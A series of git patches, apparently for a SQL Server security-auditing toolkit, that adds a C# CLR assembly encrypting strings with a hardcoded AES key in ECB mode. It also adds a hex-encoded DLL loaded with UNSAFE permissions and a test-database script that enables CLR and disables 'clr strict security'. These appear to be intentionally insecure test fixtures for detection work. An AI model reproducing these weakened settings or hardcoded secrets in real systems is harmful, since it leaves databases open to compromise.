From 1784081f52e86a6d8e9dec69357e0c63fe3e80a4 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 7 May 2024 14:42:07 -0500 Subject: [PATCH 01/60] Create supercowencrypt.cs --- templates/supercowencrypt.cs | 206 +++++++++++++++++++++++++++++++++++ 1 file changed, 206 insertions(+) create mode 100644 templates/supercowencrypt.cs diff --git a/templates/supercowencrypt.cs b/templates/supercowencrypt.cs new file mode 100644 index 0000000..f1f3ec8 --- /dev/null +++ b/templates/supercowencrypt.cs @@ -0,0 +1,206 @@ +using System; +using System.Data; +using System.Data.SqlClient; +using System.Data.SqlTypes; +using Microsoft.SqlServer.Server; +using System.Security.Cryptography; +using System.IO; +using System.Diagnostics; +using System.Text; + +// Source: https://stackoverflow.com/questions/202011/encrypt-and-decrypt-a-string +// Reference: https://msdn.microsoft.com/en-us/library/system.security.cryptography.aes(v=vs.110).aspx +// +// C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\commonlib.cs +// +// CREATE ASSEMBLY commonlib +// FROM 'c:\temp\commonlib.dll' +// WITH PERMISSION_SET = UNSAFE; +// CREATE PROCEDURE [dbo].[beefencrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefencrypt]; +// CREATE PROCEDURE [dbo].[beefdecrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefdecrypt]; +// beefencrypt "hello there" +// beefdecrypt "EAAAAHCGLUEsOXF3Y20X/E8riuIfwqpf/qBfEJuYjttS3VDY" + +public partial class commonlib +{ + + [Microsoft.SqlServer.Server.SqlProcedure] + public static void beefencrypt (SqlString MyString) + { + try + { + string encrypted64 = EncryptStringAES(string.Format(MyString.Value),"aeshidethebeef12345"); + + // Create the record and specify the metadata for the columns. + SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); + + // Mark the begining of the result-set. + SqlContext.Pipe.SendResultsStart(record); + + // Set values for each column in the row + record.SetString(0, encrypted64); + + // Send the row back to the client. + SqlContext.Pipe.SendResultsRow(record); + + // Mark the end of the result-set. + SqlContext.Pipe.SendResultsEnd(); + } + catch (Exception e) + { + Console.WriteLine("Error: {0}", e.Message); + } + } + + [Microsoft.SqlServer.Server.SqlProcedure] + public static void beefdecrypt (SqlString MyString) + { + try + { + string decrypted = DecryptStringAES(string.Format(MyString.Value),"aeshidethebeef12345"); + + // Create the record and specify the metadata for the columns. + SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); + + // Mark the begining of the result-set. + SqlContext.Pipe.SendResultsStart(record); + + // Set values for each column in the row + record.SetString(0, decrypted); + + // Send the row back to the client. + SqlContext.Pipe.SendResultsRow(record); + + // Mark the end of the result-set. + SqlContext.Pipe.SendResultsEnd(); + } + catch (Exception e) + { + Console.WriteLine("Error: {0}", e.Message); + } + } + + private static byte[] _salt = Encoding.Unicode.GetBytes("CaptainSalty"); + + public static string EncryptStringAES(string plainText, string sharedSecret) + { + if (string.IsNullOrEmpty(plainText)) + throw new ArgumentNullException("plainText"); + if (string.IsNullOrEmpty(sharedSecret)) + throw new ArgumentNullException("sharedSecret"); + + string outStr = null; // Encrypted string to return + RijndaelManaged aesAlg = null; // RijndaelManaged object used to encrypt the data. + + try + { + // generate the key from the shared secret and the salt + Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(sharedSecret, _salt); + + // Create a RijndaelManaged object + aesAlg = new RijndaelManaged(); + aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8); + aesAlg.Mode = CipherMode.ECB; + + // Create a decryptor to perform the stream transform. + ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV); + + // Create the streams used for encryption. + using (MemoryStream msEncrypt = new MemoryStream()) + { + // prepend the IV + msEncrypt.Write(BitConverter.GetBytes(aesAlg.IV.Length), 0, sizeof(int)); + msEncrypt.Write(aesAlg.IV, 0, aesAlg.IV.Length); + using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write)) + { + using (StreamWriter swEncrypt = new StreamWriter(csEncrypt)) + { + //Write all data to the stream. + swEncrypt.Write(plainText); + } + } + outStr = Convert.ToBase64String(msEncrypt.ToArray()); + } + } + finally + { + // Clear the RijndaelManaged object. + if (aesAlg != null) + aesAlg.Clear(); + } + + // Return the encrypted bytes from the memory stream. + return outStr; + } + + public static string DecryptStringAES(string cipherText, string sharedSecret) + { + if (string.IsNullOrEmpty(cipherText)) + throw new ArgumentNullException("cipherText"); + if (string.IsNullOrEmpty(sharedSecret)) + throw new ArgumentNullException("sharedSecret"); + + // Declare the RijndaelManaged object + // used to decrypt the data. + RijndaelManaged aesAlg = null; + + // Declare the string used to hold + // the decrypted text. + string plaintext = null; + + try + { + // generate the key from the shared secret and the salt + Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(sharedSecret, _salt); + + // Create the streams used for decryption. + byte[] bytes = Convert.FromBase64String(cipherText); + using (MemoryStream msDecrypt = new MemoryStream(bytes)) + { + // Create a RijndaelManaged object + // with the specified key and IV. + aesAlg = new RijndaelManaged(); + aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8); + aesAlg.Mode = CipherMode.ECB; + + // Get the initialization vector from the encrypted stream + aesAlg.IV = ReadByteArray(msDecrypt); + // Create a decrytor to perform the stream transform. + ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); + using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) + { + using (StreamReader srDecrypt = new StreamReader(csDecrypt)) + + // Read the decrypted bytes from the decrypting stream + // and place them in a string. + plaintext = srDecrypt.ReadToEnd(); + } + } + } + finally + { + // Clear the RijndaelManaged object. + if (aesAlg != null) + aesAlg.Clear(); + } + + return plaintext; + } + + private static byte[] ReadByteArray(Stream s) + { + byte[] rawLength = new byte[sizeof(int)]; + if (s.Read(rawLength, 0, rawLength.Length) != rawLength.Length) + { + throw new SystemException("Stream did not contain properly formatted byte array"); + } + + byte[] buffer = new byte[BitConverter.ToInt32(rawLength, 0)]; + if (s.Read(buffer, 0, buffer.Length) != buffer.Length) + { + throw new SystemException("Did not read byte array properly"); + } + + return buffer; + } +} From 4749bb31246bd5510b2dda2ed0749fbc39099f75 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 7 May 2024 14:42:59 -0500 Subject: [PATCH 02/60] Create supercowencrypt.sql --- templates/supercowencrypt.sql | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 templates/supercowencrypt.sql diff --git a/templates/supercowencrypt.sql b/templates/supercowencrypt.sql new file mode 100644 index 0000000..c5d0db6 --- /dev/null +++ b/templates/supercowencrypt.sql @@ -0,0 +1,8 @@ +-- Change the assembly name to the one you want to replace +CREATE ASSEMBLY [CommonLib] FROM +0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103009D50D2590000000000000000E00002210B010B000012000000060000000000000E300000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000B42F00005700000000400000A802000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000014100000002000000012000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000140000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001800000000000000000000000000004000004200000000000000000000000000000000F02F000000000000480000000200050010250000A40A000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B300500890000000100001100000F00280400000A168D01000001280500000A720100007028030000060A178D080000010D091672290000701F0C20A00F00006A730600000AA209730700000A0B280800000A076F0900000A000716066F0A00000A00280800000A076F0B00000A00280800000A6F0C00000A0000DE160C007237000070086F0D00000A280E00000A0000DE00002A0000000110000000000100707100160D0000011B300500890000000100001100000F00280400000A168D01000001280500000A720100007028040000060A178D080000010D091672290000701F0C20A00F00006A730600000AA209730700000A0B280800000A076F0900000A000716066F0A00000A00280800000A076F0B00000A00280800000A6F0C00000A0000DE160C007237000070086F0D00000A280E00000A0000DE00002A0000000110000000000100707100160D0000011B30040046010000020000110002280F00000A16FE01130811082D0B724D000070731000000A7A03280F00000A16FE01130811082D0B7261000070731000000A7A140A140B00037E01000004731100000A0C731200000A0B0708076F1300000A1E5B6F1400000A6F1500000A0007186F1600000A0007076F1700000A076F1800000A6F1900000A0D731A00000A1304001104076F1800000A8E69281B00000A161A6F1C00000A001104076F1800000A16076F1800000A8E696F1C00000A0011040917731D00000A1305001105731E00000A1306001106026F1F00000A0000DE14110614FE01130811082D0811066F2000000A00DC0000DE14110514FE01130811082D0811056F2000000A00DC0011046F2100000A282200000A0A00DE14110414FE01130811082D0811046F2000000A00DC0000DE14000714FE01130811082D07076F2300000A0000DC000613072B0011072A0000013400000200C7000DD40014000000000200BD002FEC001400000000020083008E1101140000000002003900F0290114000000001B30040020010000030000110002280F00000A16FE01130911092D0B727B000070731000000A7A03280F00000A16FE01130911092D0B7261000070731000000A7A140A140B00037E01000004731100000A0C02282400000A0D09732500000A130400731200000A0A0608066F1300000A1E5B6F1400000A6F1500000A0006186F1600000A0006110428050000066F2600000A0006066F1700000A066F1800000A6F2700000A13051104110516731D00000A1306001106732800000A130711076F2900000A0BDE14110714FE01130911092D0811076F2000000A00DC0000DE14110614FE01130911092D0811066F2000000A00DC0000DE14110414FE01130911092D0811046F2000000A00DC0000DE14000614FE01130911092D07066F2300000A0000DC000713082B0011082A013400000200B1000ABB0014000000000200A7002CD30014000000000200550096EB00140000000002003900CA03011400000000133004005B00000004000011001A8D200000010A020616068E696F2A00000A068E69FE010D092D0C007291000070732B00000A7A0616282C00000A8D200000010B020716078E696F2A00000A078E69FE010D092D0C0072FB000070732B00000A7A070C2B00082A56282D00000A723D0100706F2E00000A80010000042A1E02282F00000A2A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C00000044030000237E0000B00300004804000023537472696E677300000000F8070000580100002355530050090000100000002347554944000000600900004401000023426C6F620000000000000002000001571502000900000000FA2533001600000100000022000000020000000100000007000000070000002F0000000400000004000000010000000200000000000A00010000000000060032002B000A005A0045000600AE00A40006001601F60006003601F6000A006F01540106008F012B000A009D0154010A00A90139000A00B30154010A00C10154010A00CC015401060016022B0006002C022B0006004C022B0006007F0262020600920262020600A20262020600C10262020600DE02620206000103620206002203A40006002F032B0006004203620206004F03620206006003A40006006D03A400060078032B00060094032B000600D903A4000600E603A4000600FB032B00060005042B000600300424040000000001000000000001000100010010001800000005000100010011007C001000502000000000960064000A000100F82000000000960070000A000200A02100000000960082001400030028230000000096009300140005008824000000009100B5001A0007000525000000008618C30021000800EF240000000091181D040901080000000100C90000000100C90000000100D20000000200DC0000000100E90000000200DC0000000100F4002100C30025002900C30021003100C3002100110085012F003900960133004100C3003A005100C30042005900D40149006100DD014E005100EE0154006100F8014E00610007022100690020022F00710034025A0039003E026B007900C30070008100C30075008900C30021009100B5027C009900CD0280009100D60286009100E9028C009100F20292009100FA029200910012039700B100C3002100B900CD02A00019003C03A600C100C300AE00D100C300B800D9003C037000E10084032100B1008C039200E9009C03BE009100AB032100E900B103D600B100C30086009100C20386009100C9039700F100C300B800F900F1032F0019000004F0000901C3007000B9001504F800110139040D011101CD0213010900C300210020001B002A002E00130022012E000B00190140001B002A006000C400DC00FF00048000000000000000000000000000000000180000000400000000000000000000000100220000000000040000000000000000000000010039000000000000000000003C4D6F64756C653E00636F6D6D6F6E6C69622E646C6C00636F6D6D6F6E6C6962006D73636F726C69620053797374656D004F626A6563740053797374656D2E446174610053797374656D2E446174612E53716C54797065730053716C537472696E670062656566656E6372797074006265656664656372797074005F73616C7400456E6372797074537472696E674145530044656372797074537472696E674145530053797374656D2E494F0053747265616D0052656164427974654172726179002E63746F72004D79537472696E6700706C61696E5465787400736861726564536563726574006369706865725465787400730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465004D6963726F736F66742E53716C5365727665722E5365727665720053716C50726F636564757265417474726962757465006765745F56616C756500537472696E6700466F726D61740053716C4D657461446174610053716C4462547970650053716C446174615265636F72640053716C436F6E746578740053716C50697065006765745F506970650053656E64526573756C7473537461727400536574537472696E670053656E64526573756C7473526F770053656E64526573756C7473456E6400457863657074696F6E006765745F4D65737361676500436F6E736F6C650057726974654C696E650049734E756C6C4F72456D70747900417267756D656E744E756C6C457863657074696F6E0053797374656D2E53656375726974792E43727970746F677261706879005266633238393844657269766542797465730052696A6E6461656C4D616E616765640053796D6D6574726963416C676F726974686D006765745F4B657953697A65004465726976654279746573004765744279746573007365745F4B6579004369706865724D6F6465007365745F4D6F6465006765745F4B6579006765745F4956004943727970746F5472616E73666F726D00437265617465456E63727970746F72004D656D6F727953747265616D00426974436F6E7665727465720057726974650043727970746F53747265616D0043727970746F53747265616D4D6F64650053747265616D57726974657200546578745772697465720049446973706F7361626C6500446973706F736500546F417272617900436F6E7665727400546F426173653634537472696E6700436C6561720046726F6D426173653634537472696E67007365745F495600437265617465446563727970746F720053747265616D52656164657200546578745265616465720052656164546F456E64004279746500526561640053797374656D457863657074696F6E00546F496E743332002E6363746F720053797374656D2E5465787400456E636F64696E67006765745F556E69636F64650000000000276100650073006800690064006500740068006500620065006500660031003200330034003500000D6F007500740070007500740000154500720072006F0072003A0020007B0030007D00001370006C00610069006E0054006500780074000019730068006100720065006400530065006300720065007400001563006900700068006500720054006500780074000069530074007200650061006D00200064006900640020006E006F007400200063006F006E007400610069006E002000700072006F007000650072006C007900200066006F0072006D006100740074006500640020006200790074006500200061007200720061007900004144006900640020006E006F00740020007200650061006400200062007900740065002000610072007200610079002000700072006F007000650072006C00790000194300610070007400610069006E00530061006C007400790000009092612DC92C6841833C9171C7A25FBA0008B77A5C561934E08905000101110903061D050500020E0E0E0600011D05120D03200001042001010804010000000320000E0600020E0E1D1C072003010E11250A062001011D1221040000123105200101122905200201080E050002010E1C0A07040E122912351D1221040001020E042001010E062002010E1D05032000080520011D0508052001011D050520010111510420001D0508200212551D051D050500011D0508072003011D05080809200301120D1255116505200101120D0500010E1D051107090E1245124112551259126112690E020500011D050E13070A12450E12411D0512591255126112790E02072003081D050808060002081D05080907041D051D051D0502030000010500001280890520011D050E0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301000000DC2F00000000000000000000FE2F0000002000000000000000000000000000000000000000000000F02F00000000000000000000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D006500000063006F006D006D006F006E006C00690062002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000063006F006D006D006F006E006C00690062002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000C000000103000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +WITH PERMISSION_SET = UNSAFE + +CREATE PROCEDURE [dbo].[beefencrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefencrypt]; + +beefencrypt "hello there" From 1a581e96c5f6cee5a6e99da4ad8107c94fb44d1f Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 08:20:27 -0500 Subject: [PATCH 03/60] Update pesterdb.sql Added CLR assembly procedures. --- tests/pesterdb.sql | 46 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index 88672e2..3163d4c 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -710,3 +710,49 @@ GO If not Exists (select loginname from master.dbo.syslogins where name = 'certuser') EXEC sp_addsrvrolemember 'certuser', 'sysadmin'; GO + +---------------------------------------------------------------------- +-- Setup CLR Assessembly Procedures with hardcoded encryption key +---------------------------------------------------------------------- + +-- Select the msdb database +use msdb +GO + +-- Enable show advanced options on the server +sp_configure 'show advanced options',1 +RECONFIGURE +GO + +-- Enable clr on the server +sp_configure 'clr enabled',1 +RECONFIGURE +GO + +-- Disable clr strict security +-- SQL Server 2017 introduced the ‘clr strict security’ configuration. Microsoft documentation states that the setting needs to be disabled to allow the creation of UNSAFE or EXTERNAL assemblies. +sp_configure 'clr strict security',0 +RECONFIGURE +GO + +-- Create assembly +CREATE ASSEMBLY [CommonLib] +FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103009D50D2590000000000000000E00002210B010B000012000000060000000000000E300000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000B42F00005700000000400000A802000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000014100000002000000012000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000140000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001800000000000000000000000000004000004200000000000000000000000000000000F02F000000000000480000000200050010250000A40A000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B300500890000000100001100000F00280400000A168D01000001280500000A720100007028030000060A178D080000010D091672290000701F0C20A00F00006A730600000AA209730700000A0B280800000A076F0900000A000716066F0A00000A00280800000A076F0B00000A00280800000A6F0C00000A0000DE160C007237000070086F0D00000A280E00000A0000DE00002A0000000110000000000100707100160D0000011B300500890000000100001100000F00280400000A168D01000001280500000A720100007028040000060A178D080000010D091672290000701F0C20A00F00006A730600000AA209730700000A0B280800000A076F0900000A000716066F0A00000A00280800000A076F0B00000A00280800000A6F0C00000A0000DE160C007237000070086F0D00000A280E00000A0000DE00002A0000000110000000000100707100160D0000011B30040046010000020000110002280F00000A16FE01130811082D0B724D000070731000000A7A03280F00000A16FE01130811082D0B7261000070731000000A7A140A140B00037E01000004731100000A0C731200000A0B0708076F1300000A1E5B6F1400000A6F1500000A0007186F1600000A0007076F1700000A076F1800000A6F1900000A0D731A00000A1304001104076F1800000A8E69281B00000A161A6F1C00000A001104076F1800000A16076F1800000A8E696F1C00000A0011040917731D00000A1305001105731E00000A1306001106026F1F00000A0000DE14110614FE01130811082D0811066F2000000A00DC0000DE14110514FE01130811082D0811056F2000000A00DC0011046F2100000A282200000A0A00DE14110414FE01130811082D0811046F2000000A00DC0000DE14000714FE01130811082D07076F2300000A0000DC000613072B0011072A0000013400000200C7000DD40014000000000200BD002FEC001400000000020083008E1101140000000002003900F0290114000000001B30040020010000030000110002280F00000A16FE01130911092D0B727B000070731000000A7A03280F00000A16FE01130911092D0B7261000070731000000A7A140A140B00037E01000004731100000A0C02282400000A0D09732500000A130400731200000A0A0608066F1300000A1E5B6F1400000A6F1500000A0006186F1600000A0006110428050000066F2600000A0006066F1700000A066F1800000A6F2700000A13051104110516731D00000A1306001106732800000A130711076F2900000A0BDE14110714FE01130911092D0811076F2000000A00DC0000DE14110614FE01130911092D0811066F2000000A00DC0000DE14110414FE01130911092D0811046F2000000A00DC0000DE14000614FE01130911092D07066F2300000A0000DC000713082B0011082A013400000200B1000ABB0014000000000200A7002CD30014000000000200550096EB00140000000002003900CA03011400000000133004005B00000004000011001A8D200000010A020616068E696F2A00000A068E69FE010D092D0C007291000070732B00000A7A0616282C00000A8D200000010B020716078E696F2A00000A078E69FE010D092D0C0072FB000070732B00000A7A070C2B00082A56282D00000A723D0100706F2E00000A80010000042A1E02282F00000A2A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C00000044030000237E0000B00300004804000023537472696E677300000000F8070000580100002355530050090000100000002347554944000000600900004401000023426C6F620000000000000002000001571502000900000000FA2533001600000100000022000000020000000100000007000000070000002F0000000400000004000000010000000200000000000A00010000000000060032002B000A005A0045000600AE00A40006001601F60006003601F6000A006F01540106008F012B000A009D0154010A00A90139000A00B30154010A00C10154010A00CC015401060016022B0006002C022B0006004C022B0006007F0262020600920262020600A20262020600C10262020600DE02620206000103620206002203A40006002F032B0006004203620206004F03620206006003A40006006D03A400060078032B00060094032B000600D903A4000600E603A4000600FB032B00060005042B000600300424040000000001000000000001000100010010001800000005000100010011007C001000502000000000960064000A000100F82000000000960070000A000200A02100000000960082001400030028230000000096009300140005008824000000009100B5001A0007000525000000008618C30021000800EF240000000091181D040901080000000100C90000000100C90000000100D20000000200DC0000000100E90000000200DC0000000100F4002100C30025002900C30021003100C3002100110085012F003900960133004100C3003A005100C30042005900D40149006100DD014E005100EE0154006100F8014E00610007022100690020022F00710034025A0039003E026B007900C30070008100C30075008900C30021009100B5027C009900CD0280009100D60286009100E9028C009100F20292009100FA029200910012039700B100C3002100B900CD02A00019003C03A600C100C300AE00D100C300B800D9003C037000E10084032100B1008C039200E9009C03BE009100AB032100E900B103D600B100C30086009100C20386009100C9039700F100C300B800F900F1032F0019000004F0000901C3007000B9001504F800110139040D011101CD0213010900C300210020001B002A002E00130022012E000B00190140001B002A006000C400DC00FF00048000000000000000000000000000000000180000000400000000000000000000000100220000000000040000000000000000000000010039000000000000000000003C4D6F64756C653E00636F6D6D6F6E6C69622E646C6C00636F6D6D6F6E6C6962006D73636F726C69620053797374656D004F626A6563740053797374656D2E446174610053797374656D2E446174612E53716C54797065730053716C537472696E670062656566656E6372797074006265656664656372797074005F73616C7400456E6372797074537472696E674145530044656372797074537472696E674145530053797374656D2E494F0053747265616D0052656164427974654172726179002E63746F72004D79537472696E6700706C61696E5465787400736861726564536563726574006369706865725465787400730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465004D6963726F736F66742E53716C5365727665722E5365727665720053716C50726F636564757265417474726962757465006765745F56616C756500537472696E6700466F726D61740053716C4D657461446174610053716C4462547970650053716C446174615265636F72640053716C436F6E746578740053716C50697065006765745F506970650053656E64526573756C7473537461727400536574537472696E670053656E64526573756C7473526F770053656E64526573756C7473456E6400457863657074696F6E006765745F4D65737361676500436F6E736F6C650057726974654C696E650049734E756C6C4F72456D70747900417267756D656E744E756C6C457863657074696F6E0053797374656D2E53656375726974792E43727970746F677261706879005266633238393844657269766542797465730052696A6E6461656C4D616E616765640053796D6D6574726963416C676F726974686D006765745F4B657953697A65004465726976654279746573004765744279746573007365745F4B6579004369706865724D6F6465007365745F4D6F6465006765745F4B6579006765745F4956004943727970746F5472616E73666F726D00437265617465456E63727970746F72004D656D6F727953747265616D00426974436F6E7665727465720057726974650043727970746F53747265616D0043727970746F53747265616D4D6F64650053747265616D57726974657200546578745772697465720049446973706F7361626C6500446973706F736500546F417272617900436F6E7665727400546F426173653634537472696E6700436C6561720046726F6D426173653634537472696E67007365745F495600437265617465446563727970746F720053747265616D52656164657200546578745265616465720052656164546F456E64004279746500526561640053797374656D457863657074696F6E00546F496E743332002E6363746F720053797374656D2E5465787400456E636F64696E67006765745F556E69636F64650000000000276100650073006800690064006500740068006500620065006500660031003200330034003500000D6F007500740070007500740000154500720072006F0072003A0020007B0030007D00001370006C00610069006E0054006500780074000019730068006100720065006400530065006300720065007400001563006900700068006500720054006500780074000069530074007200650061006D00200064006900640020006E006F007400200063006F006E007400610069006E002000700072006F007000650072006C007900200066006F0072006D006100740074006500640020006200790074006500200061007200720061007900004144006900640020006E006F00740020007200650061006400200062007900740065002000610072007200610079002000700072006F007000650072006C00790000194300610070007400610069006E00530061006C007400790000009092612DC92C6841833C9171C7A25FBA0008B77A5C561934E08905000101110903061D050500020E0E0E0600011D05120D03200001042001010804010000000320000E0600020E0E1D1C072003010E11250A062001011D1221040000123105200101122905200201080E050002010E1C0A07040E122912351D1221040001020E042001010E062002010E1D05032000080520011D0508052001011D050520010111510420001D0508200212551D051D050500011D0508072003011D05080809200301120D1255116505200101120D0500010E1D051107090E1245124112551259126112690E020500011D050E13070A12450E12411D0512591255126112790E02072003081D050808060002081D05080907041D051D051D0502030000010500001280890520011D050E0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301000000DC2F00000000000000000000FE2F0000002000000000000000000000000000000000000000000000F02F00000000000000000000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D006500000063006F006D006D006F006E006C00690062002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000063006F006D006D006F006E006C00690062002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000C0000001030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000